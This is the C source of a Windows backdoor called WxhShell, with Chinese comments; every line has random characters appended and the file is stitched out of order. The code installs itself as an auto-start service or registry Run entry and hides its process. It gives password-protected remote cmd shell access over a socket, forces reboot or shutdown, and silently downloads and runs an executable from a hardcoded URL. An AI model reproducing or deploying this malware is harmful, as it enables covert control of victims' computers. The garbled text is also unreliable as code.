    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g@ ]1H41  
    if(Boot(SHUTDOWN)) d <zD@ z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BWr!K5w>i  
    else { B)dd6R>8  
    closesocket(wsh); mS.!lkV  
    ExitThread(0); |BO5<`&I  
    } >b~Q%{1  
    break; !Nbi&^k B  
    } `.wgRUhFH;  
  // 获取shell w1 A-_  
  case 's': { }IQ![T5  
    CmdShell(wsh); kjr q;j:  
    closesocket(wsh); 0|{":i_s  
    ExitThread(0); 1uz K(j8w  
    break; ncpA\E;ff^  
  } T,B%iZgCh  
  // 退出 QRF:6bAxsL  
  case 'x': { #nKGU"$+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5U*${  
    CloseIt(wsh); C*Q x  
    break; Y"dTm;&  
    } k1LbWR1%wB  
  // 离开 hJX;/~L  
  case 'q': { % QaWg2Y=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R^.c  
    closesocket(wsh); /q!_f!<q4x  
    WSACleanup(); EPM(hxCIQ  
    exit(1); S-brV\v7  
    break; :]* =f].  
        } o+\?E.%%g  
  } 9~ifST \  
  } W7 +Q&4Y  
Z#K0a'  
  // 提示信息 5yp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E.yc"|n7l2  
} Ae<;b Of  
  } g}vU*g ;  
wD@ wOC  
  return; $:?=A5ttuo  
} %F<3_#Y  
t'C9;  
// shell模块句柄 !DKl:8mx4  
int CmdShell(SOCKET sock) Y1BxRd?D  
{ #QW% ;^  
STARTUPINFO si; 8 ;=?Lw?  
ZeroMemory(&si,sizeof(si)); X4"[,:Tw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *C> N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U"Z %_[*  
PROCESS_INFORMATION ProcessInfo; `?T8NK  
char cmdline[]="cmd"; lPz5.(5'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =.9tRq  
  return 0; ^ .Q/iXgh  
} ?!bWUVC)_  
 M|>-q  
// 自身启动模式 p\xsW "=8q  
int StartFromService(void) ,UD5>Ai  
{ ?_/T$b ]  
typedef struct u#Uc6? E  
{ p+{*w7?8"[  
  DWORD ExitStatus; @Tsdgx8  
  DWORD PebBaseAddress; tgu fU  
  DWORD AffinityMask; `y.i(~^1  
  DWORD BasePriority; eBW]hwhKzM  
  ULONG UniqueProcessId; fXkemB^)_  
  ULONG InheritedFromUniqueProcessId; GU)NZ[e  
}   PROCESS_BASIC_INFORMATION; Q\$cBSJC1  
"C+Fl /v  
PROCNTQSIP NtQueryInformationProcess; PmDar<m  
|>nVp:t^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zr;(a;QKs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yn{U/+  
' @j8tK  
  HANDLE             hProcess; oF0*X$_X  
  PROCESS_BASIC_INFORMATION pbi; +L#):xr  
8SMa5a{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oc&yz>%q  
  if(NULL == hInst ) return 0; @wXo{p@W  
6r)qM)97  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1;+(HB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q5~fU$ ,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1)M%]I4  
]&L[]  
  if (!NtQueryInformationProcess) return 0; 3a,7lTUuB  
>@^j9{\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )W![TIp  
  if(!hProcess) return 0; .fS1  
Lmyw[s\U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 BVpv7@  
;#?+i`9'q  
  CloseHandle(hProcess); BP@Lhii  
rW9ULS2 d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N~ M-|^L  
if(hProcess==NULL) return 0; VW9BQs2w  
LtBm }0  
HMODULE hMod; f.u[!T  
char procName[255]; I*8_5?)g<  
unsigned long cbNeeded; a~[]Ye@H  
26c1Yl,DMn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C8 2lT_7"  
5,W DmhJ  
  CloseHandle(hProcess); e@{8G^o>D  
{\-IAuM  
if(strstr(procName,"services")) return 1; // 以服务启动 cX@72  
gOA]..lh  
  return 0; // 注册表启动 *AN2&>Y  
} Z9 tjo1X  
KRP)y{~o  
// 主模块 Hk;) l3oB  
int StartWxhshell(LPSTR lpCmdLine) !8>tT  
{ F!yejn [  
  SOCKET wsl; YPsuG -is  
BOOL val=TRUE; 81U(*6  
  int port=0; Nv_"?er+y  
  struct sockaddr_in door; <rFY$ ?x  
2qUC@d<K  
  if(wscfg.ws_autoins) Install(); >=Un=Q%  
g\ p;  
port=atoi(lpCmdLine); eVbaxL!Q^  
X2p9KC  
if(port<=0) port=wscfg.ws_port; rgg3{bU/  
l=< :  
  WSADATA data; > 9wEx[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fdTyY ;  
t5pf4M7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~4+=C\r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kVe_2oQ_>  
  door.sin_family = AF_INET; uia-w^F e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &/A?*2  
  door.sin_port = htons(port); n,NKJt  
O WVa&8O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c~+l|r=u?  
closesocket(wsl); co!#.  
return 1; ByPzA\;e  
} mam2]St"  
g&"__~dS-F  
  if(listen(wsl,2) == INVALID_SOCKET) { C/Dc1sj  
closesocket(wsl); 9*}?0J8  
return 1; :K_JY   
} }$|uIS  
  Wxhshell(wsl); !jxz2Q  
  WSACleanup(); {!hA^[}|  
^g2p!7  
return 0; #b4Pn`[   
@l:\Ka~TS  
} wA<#E6^vG  
niV=Ijt{5  
// 以NT服务方式启动 fu95-)M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0@ 9em~  
{ 64OgE!  
DWORD   status = 0; +LM /< l  
  DWORD   specificError = 0xfffffff; dF%sD|<)  
%Ot^G%34  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @OlV6M;qJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9RoN,e8!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BJI R !J  
  serviceStatus.dwWin32ExitCode     = 0; +;Jb)8  
  serviceStatus.dwServiceSpecificExitCode = 0; v/BMzVi  
  serviceStatus.dwCheckPoint       = 0; tc'` 4O]c8  
  serviceStatus.dwWaitHint       = 0; \{G1d"n  
rSVU|O3m;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9+\3E4K  
  if (hServiceStatusHandle==0) return; gs_nUgcA  
8L<GAe  
status = GetLastError(); zl j%v/9  
  if (status!=NO_ERROR) cM;& $IjCt  
{ ^L(}cO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iS^IqS  
    serviceStatus.dwCheckPoint       = 0; /CAi%UH,F  
    serviceStatus.dwWaitHint       = 0; .)>DFGb>H  
    serviceStatus.dwWin32ExitCode     = status; 1dF=BR8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zv*Z^; X9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MKYXYR  
    return; ~',<7eW  
  } ~E=.*: 5(  
{Ah\-{]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r~uWr'}a}  
  serviceStatus.dwCheckPoint       = 0; Y.qlY3iBp  
  serviceStatus.dwWaitHint       = 0; +_ HPZo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P2h}3%cJq  
} o5\nqw^  
v(\kSlJ  
// 处理NT服务事件,比如:启动、停止 ^t=Hl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mT8($KQ  
{ ~/6m|k  
switch(fdwControl) 0k5;Qf6A  
{ sW B;?7P  
case SERVICE_CONTROL_STOP: )} y1  
  serviceStatus.dwWin32ExitCode = 0; eXI^9uH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vb-L "S?kC  
  serviceStatus.dwCheckPoint   = 0; /u }AgIb  
  serviceStatus.dwWaitHint     = 0; E3\O?+ h#  
  { )x-iru A:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :mU,g|~55  
  } 9i8D_[  
  return; D84`#Xbi  
case SERVICE_CONTROL_PAUSE: U<**Est  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `<h}Ygo>k/  
  break; \5$N> 2kO  
case SERVICE_CONTROL_CONTINUE: dIG(7 ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \w!G  
  break; ki#O ^vl  
case SERVICE_CONTROL_INTERROGATE: gg(^:`+  
  break; *BYSfcX6  
}; z6 v RTY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eoug/we  
} ;K[`o/#4"  
MX 2UYZ&  
// 标准应用程序主函数 'Lft\.C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uc6BI$Fmz  
{ kn_%'7  
m-lUgx7  
// 获取操作系统版本 '!64_OMj'  
OsIsNt=GetOsVer(); W :PGj0?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cy)gN g  
93yJAao9  
  // 从命令行安装 W;coi4   
  if(strpbrk(lpCmdLine,"iI")) Install(); q79)nhC F  
Z<Rz}8s  
  // 下载执行文件 xQC.ap  
if(wscfg.ws_downexe) { ]BU,*YaB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AG2iLictv  
  WinExec(wscfg.ws_filenam,SW_HIDE); MPMJkL$F^  
} .9WJ/RKZ\D  
UK2Y<\vD  
if(!OsIsNt) { KE+y'j#C3  
// 如果时win9x,隐藏进程并且设置为注册表启动 8@|_];9#.  
HideProc(); #F.;N<a  
StartWxhshell(lpCmdLine); >De\2gbJ  
} y@J]busU  
else lcij}-z:%e  
  if(StartFromService()) 3ryIXC\v  
  // 以服务方式启动 2>#Pt^R:C  
  StartServiceCtrlDispatcher(DispatchTable); wHk4BWg-  
else 2f>lgZ!  
  // 普通方式启动 lDNB0Ad  
  StartWxhshell(lpCmdLine); @c{=:kg5  
VkT8l4($X<  
return 0; o(w1!spA  
} $!Z6?+  
6TxZ^&=  
Z mF}pa,gd  
O,ZvV3  
=========================================== ="RDcf/  
OC9_EP\"  
!SIGzj  
AZxx%6  
A"k6n\!n;  
Aj.TX%}`h  
" nbMnqkNb  
VcT(n7  
#include <stdio.h> {j[[E/8N!y  
#include <string.h> k/O|ia 6  
#include <windows.h> =Z iyT$p  
#include <winsock2.h> ;g: TsYwM  
#include <winsvc.h> &F[/@  
#include <urlmon.h> X3I\O,"I  
T5&jpP`M  
#pragma comment (lib, "Ws2_32.lib") QfB \h[A  
#pragma comment (lib, "urlmon.lib") f3s0.G#l  
x`w 4LF  
#define MAX_USER   100 // 最大客户端连接数 * I`, L/  
#define BUF_SOCK   200 // sock buffer %up ]"L&i  
#define KEY_BUFF   255 // 输入 buffer cu]2`DF  
eb2~$ ,$  
#define REBOOT     0   // 重启 3Ec5:Caz  
#define SHUTDOWN   1   // 关机 m,$oV?y>j  
Ck2O?Ne  
#define DEF_PORT   5000 // 监听端口 fQlR;4QX]  
_L(6F T J  
#define REG_LEN     16   // 注册表键长度 ~d ~$fR  
#define SVC_LEN     80   // NT服务名长度 |&3m'"(  
qi h7  
// 从dll定义API d l@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,2DKphh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oDTt+b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  |X`xJL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :#"gQ^YNp  
/}r%DND'  
// wxhshell配置信息 \y{Bnp5h  
struct WSCFG { s%>>E!Qi_  
  int ws_port;         // 监听端口 T.GY  
  char ws_passstr[REG_LEN]; // 口令 M5HKRLt  
  int ws_autoins;       // 安装标记, 1=yes 0=no gzvEy^X  
  char ws_regname[REG_LEN]; // 注册表键名 \i}n1Qd  
  char ws_svcname[REG_LEN]; // 服务名 P49lE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~!&WK,k6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]]Ypi=<'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aG8}R~wH&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Tg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6gJy<a3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tfvX0J  
3/>McZ@OH  
}; Byyus[b'A  
-7*,}xV  
// default Wxhshell configuration Y<X%'Wd\  
struct WSCFG wscfg={DEF_PORT, FJKt5}`8  
    "xuhuanlingzhe", o8BbSZVu  
    1, "2)<'4q5)  
    "Wxhshell", K& <|94_k  
    "Wxhshell", ]y@9 z b  
            "WxhShell Service", L{ ?& .iA  
    "Wrsky Windows CmdShell Service", z9U<Z^4z+  
    "Please Input Your Password: ", Vc$x?=  
  1, _+N*4  
  "http://www.wrsky.com/wxhshell.exe", Ku*@4#<L6h  
  "Wxhshell.exe" nM34zVy  
    }; OljUK,I]  
6 9ia #  
// 消息定义模块 *qj @y'1\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j?29_Az  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mQtGE[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }k.-xaj  
char *msg_ws_ext="\n\rExit."; LpeQx\  
char *msg_ws_end="\n\rQuit."; l|^p;z: d  
char *msg_ws_boot="\n\rReboot..."; 9XX&~GW/  
char *msg_ws_poff="\n\rShutdown..."; = \AI92  
char *msg_ws_down="\n\rSave to "; 1Wtr_A  
\eH~1@\S  
char *msg_ws_err="\n\rErr!"; VZ'[\3J  
char *msg_ws_ok="\n\rOK!"; oh-Y  
8n?qm96  
char ExeFile[MAX_PATH]; kih;'>H<  
int nUser = 0; Zk"'x,]#  
HANDLE handles[MAX_USER]; dE^:-t  
int OsIsNt; {=PO`1H  
>B U 0B  
SERVICE_STATUS       serviceStatus; thDQ44<#)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s[NkPh9&  
6A;V[3  
// 函数声明 HsGXb\  
int Install(void); #Z)e]4{!l  
int Uninstall(void); m{x[q  
int DownloadFile(char *sURL, SOCKET wsh); hU3c;6]3  
int Boot(int flag); L&MR%5  
void HideProc(void); WW\u}z.QJ  
int GetOsVer(void); =LDzZ:' X  
int Wxhshell(SOCKET wsl); g2JNa?z  
void TalkWithClient(void *cs); [U]U *x  
int CmdShell(SOCKET sock); \Pi\c~)Pr  
int StartFromService(void); /qed_w.p  
int StartWxhshell(LPSTR lpCmdLine); 57*z0<  
#Gx%PQ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QxH%4 )?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rS\j9@=Y4  
fPZt*A__  
// 数据结构和表定义 $[T^ S  
SERVICE_TABLE_ENTRY DispatchTable[] = ' 7+x,TszI  
{ t*m04* }  
{wscfg.ws_svcname, NTServiceMain}, CeSr~Ikg|  
{NULL, NULL} 2Hw&}8  
}; !'wh hi  
D)U 9xA)J  
// 自我安装 g&!UaJ[#9  
int Install(void) U BzX%:A  
{ Z,)4(#b =  
  char svExeFile[MAX_PATH]; !?Gt5$f  
  HKEY key; ?OW 4J0B'  
  strcpy(svExeFile,ExeFile); /17Qhex  
u n\!K  
// 如果是win9x系统,修改注册表设为自启动 +%7v#CY &  
if(!OsIsNt) { 'FgBYy/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _t|| v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X0Y1I}gD  
  RegCloseKey(key); ,Md8A`7x~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $wg5q\Rv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4I`6uDgD  
  RegCloseKey(key); nICc}U?k  
  return 0; B>rz<bPT  
    } r@ujE,D=k  
  } X0Zqx1  
} U(P^-J<n1  
else { T$%r?p(s  
i'OFun+-,  
// 如果是NT以上系统,安装为系统服务 5. 5<.")  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k\BJs@-  
if (schSCManager!=0) WHeyE3}p  
{ Yz]c'M@  
  SC_HANDLE schService = CreateService (RVe,0y  
  ( o}$uP5M8q  
  schSCManager, ^MIF+/bQ  
  wscfg.ws_svcname, Z^E>)!t  
  wscfg.ws_svcdisp, #V&98 F  
  SERVICE_ALL_ACCESS, 3.@"GS#"[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m0QE S  
  SERVICE_AUTO_START, )UbPG`x8  
  SERVICE_ERROR_NORMAL, TwlX'iI_;  
  svExeFile, vT~ey  
  NULL, i)y8MlC{  
  NULL, 3n;>k9{  
  NULL, 3}dTbr4y  
  NULL, i0Ejo;dB  
  NULL Su?e\7aj  
  ); dp#JvZb  
  if (schService!=0) E@ J/_l;  
  { (StX1g'  
  CloseServiceHandle(schService); 60,z!Vv  
  CloseServiceHandle(schSCManager); T<yAfnTb`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X-LCIT|1  
  strcat(svExeFile,wscfg.ws_svcname); /By:S/[1pL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |y9(qcKn$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v+Eub;m   
  RegCloseKey(key); $`j%z@[g  
  return 0; ,1/O2aQ%\0  
    } 9$[6\jMh  
  } Ipro6 I  
  CloseServiceHandle(schSCManager); yN[aBYJx,M  
} [NE|ZL~  
} cq]JD6937  
& "i4og<  
return 1; F t/yPv  
} 2[|52+zhc  
=mR~\R( I  
// 自我卸载 z]_2lx2e  
int Uninstall(void) F!7dGa$  
{ `eZzYe(N  
  HKEY key; Y TpiOPf  
PAng(tubl  
if(!OsIsNt) { Vu.VH([b]Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &O +?#3  
  RegDeleteValue(key,wscfg.ws_regname); OQW%nF9~  
  RegCloseKey(key); Kzwbr?&z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a+'k#m  
  RegDeleteValue(key,wscfg.ws_regname); n*A?>NV  
  RegCloseKey(key); a-e_q  
  return 0; "I)/|x\G*  
  } V>Dqw!  
} ^h\(j*/#X  
} F m?j-'  
else { b@QCdi,u  
<fHJ9(5$V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 Tb[sc'  
if (schSCManager!=0) tGE=!qk  
{ w*?SGW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %xt;&HE  
  if (schService!=0) Q,nJz*AJ  
  { +3uPHpMB-  
  if(DeleteService(schService)!=0) { T@wgWE<0y_  
  CloseServiceHandle(schService); 5{/uHscwLa  
  CloseServiceHandle(schSCManager); 5(zdM)Y7  
  return 0; Q XSS  
  } |I[/Fl:  
  CloseServiceHandle(schService); "; 1@f"kw  
  } n6AA%? 5  
  CloseServiceHandle(schSCManager); g(_xo\  
} "QD>m7  
} W4;/;[/L  
GCf,Gfmr  
return 1; vA3wn><  
} dx@|M{jz'  
'C4cS[1  
// 从指定url下载文件 LBxmozT  
int DownloadFile(char *sURL, SOCKET wsh) Vv54;Js9  
{  `j1oxJm  
  HRESULT hr; 0=0,ix7?#  
char seps[]= "/"; \sMe2OL#z  
char *token; *\.8*6*$!  
char *file; rJZR8bo  
char myURL[MAX_PATH]; (> W \Nf  
char myFILE[MAX_PATH]; +7\d78U  
'-U&S  
strcpy(myURL,sURL); ]p8 zT|bv  
  token=strtok(myURL,seps); * N]^(+/A  
  while(token!=NULL) SZ29B  
  { l+#J oc<8  
    file=token; 0iYo&q'n  
  token=strtok(NULL,seps); _01wRsm%2  
  } nb<e<>L  
u,V_j|(e  
GetCurrentDirectory(MAX_PATH,myFILE); _tUh*"e&  
strcat(myFILE, "\\"); \q($8<  
strcat(myFILE, file); {xAd>fGG+y  
  send(wsh,myFILE,strlen(myFILE),0); _9g-D9  
send(wsh,"...",3,0); O 1D|T"@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9tX+n{i  
  if(hr==S_OK) G9^xv  
return 0; vgE -t  
else )I#{\^  
return 1; mC0_rN^Aj  
-"NK"nb  
} wn^#`s!]U  
Oa2\\I  
// 系统电源模块 Sn S$5o  
int Boot(int flag) dz?On\66  
{ lE gjv,  
  HANDLE hToken; h@E7wp1'~  
  TOKEN_PRIVILEGES tkp; c/Fgx/hr  
;L,i">_%u[  
  if(OsIsNt) { (3Q$)0t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JK`$/l|7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u^G Y7gah  
    tkp.PrivilegeCount = 1; M^*\ $K%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e|?eY)_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2eHVl.C5  
if(flag==REBOOT) { "fr{:'HX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uks%Mo9on  
  return 0; h%U}Y5Ps~  
} 3.@LAF  
else { 5 w(nttYH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HKr}"`I.  
  return 0; 43x2BW&&  
} Lb)rloca  
  } 6DU~6c=)  
  else { tKS[  
if(flag==REBOOT) { _RzF h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (H5#r2h%Y  
  return 0; | p!($  
} ufCpX>lNF  
else { q}+zN eC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _1Q6FI5iR  
  return 0;  IMr#5  
} XmD(&3;v-  
} n$N$OFuO  
{nXygg J  
return 1; Cdy,8*   
} >+Ig<}p  
Um}AV  
// win9x进程隐藏模块 7O'.KoMw  
void HideProc(void) RyP MzxV  
{ I?S t}Tl  
5D.Sg;\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j g//I<D  
  if ( hKernel != NULL ) e pp04~  
  { lP*n%Pn)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m";..V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Vqy<7i1  
    FreeLibrary(hKernel); >s 6ye  
  } ^D5Jqh)  
pmUf*u-  
return; YGC%j  
} r<vy6  
VP>*J`'H  
// 获取操作系统版本 [zBi*%5O  
int GetOsVer(void) O^3kPVr  
{ ]+46r!r|  
  OSVERSIONINFO winfo; (:qc[,m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r88De=*  
  GetVersionEx(&winfo); `<yQ`Y_X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cdib{y<ji  
  return 1; L-}J=n\  
  else 5wmd[YL  
  return 0; #GLW3}  
} ,% Qh S5e  
t[J=8rhER  
// 客户端句柄模块 oz>2P.7  
int Wxhshell(SOCKET wsl) Q&N#q53  
{ :IU7dpwDl  
  SOCKET wsh; #gqh0 2 7  
  struct sockaddr_in client; (5 @H  
  DWORD myID; ;xe.0j0h  
BO#tn{(#  
  while(nUser<MAX_USER) yw$4Hlj5  
{ 5e$1KN`  
  int nSize=sizeof(client); vjS=ZinN"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lj(cCtb)  
  if(wsh==INVALID_SOCKET) return 1; |mE;HvQF  
? "r=08  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3r, ~-6  
if(handles[nUser]==0) 9M;t4Um  
  closesocket(wsh); RSe4 lw  
else Go)g}#.&  
  nUser++; ^t5My[R  
  } >9rZV NMU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?9a%g\`?:  
F^'$%XKV  
  return 0; YO.+-(   
} 8k95IJR1  
5gtf`ebs/  
// 关闭 socket + x=)Kp>  
void CloseIt(SOCKET wsh) <|4$T H^ t  
{ >P:X\5Oj  
closesocket(wsh); hK{H7Ey*  
nUser--; u30D`sky  
ExitThread(0); VJqk0w+  
} ]vlBYAW'  
1'\QD`M9^  
// 客户端请求句柄 X0u,QSt' O  
void TalkWithClient(void *cs) q9_ $&9  
{ 1f}(=Hv{  
uD>=  
  SOCKET wsh=(SOCKET)cs; qEr?4h  
  char pwd[SVC_LEN]; \O;2^  
  char cmd[KEY_BUFF]; `,-mXxTNT  
char chr[1]; VwE4:/7YN  
int i,j; HKXC=^}x'  
D<;~eZ'  
  while (nUser < MAX_USER) { <;S$4tux  
![^pAEgx  
if(wscfg.ws_passstr) { YND}P9 h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Q'E^[Ua  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g w([08  
  //ZeroMemory(pwd,KEY_BUFF); zo( #tQ-'m  
      i=0; |MFAP!rycS  
  while(i<SVC_LEN) { Sy|GM~  
4MzQH-U>/  
  // 设置超时 h9)fXW  
  fd_set FdRead; %`yfi+e  
  struct timeval TimeOut; GYx0U8MJ[e  
  FD_ZERO(&FdRead); )Xjn:  
  FD_SET(wsh,&FdRead); Q+=pP'cV  
  TimeOut.tv_sec=8; o=3hWbe  
  TimeOut.tv_usec=0; b$ 7 ]cE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ={ )85N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o,`"*][wd  
z~pp7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zk%@GOu\  
  pwd=chr[0]; x/umwT,ov  
  if(chr[0]==0xd || chr[0]==0xa) { `y3'v]  
  pwd=0; :J`@@H  
  break; Wr%ov6:  
  }  f\<r1  
  i++; I_<XL<  
    } x3=1/#9  
ki9&AFs2X  
  // 如果是非法用户,关闭 socket !k)6r6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yov~'S9  
} ^ ~Eh+  
2+gbMd4n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p H  y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C7FQc {  
y4Jc|)  
while(1) { Cy]=Y  
js<d"m*  
  ZeroMemory(cmd,KEY_BUFF); @gD) pH  
{*7MT}{(  
      // 自动支持客户端 telnet标准   Ai < beUS  
  j=0; |6*Bu1  
  while(j<KEY_BUFF) { 3F2IL)Hn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :+,;5  
  cmd[j]=chr[0]; `F7]M  
  if(chr[0]==0xa || chr[0]==0xd) { {h?pvH_>  
  cmd[j]=0; R@\}iyM  
  break; KGy 3#r;Q  
  } 7y'":1  
  j++; jmID@37t  
    } JXK\mah  
<: v+<)K  
  // 下载文件 b_31 \  
  if(strstr(cmd,"http://")) { "CT}34l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Fz9O-jb4  
  if(DownloadFile(cmd,wsh)) S/'0czDMW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%PWv0z_c  
  else 7Jf~Bn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zuvPV{ X  
  } %#x4wi  
  else { '47 b"uV  
o&?c,FwN  
    switch(cmd[0]) { UX)GA[WI  
  _ Op%H)  
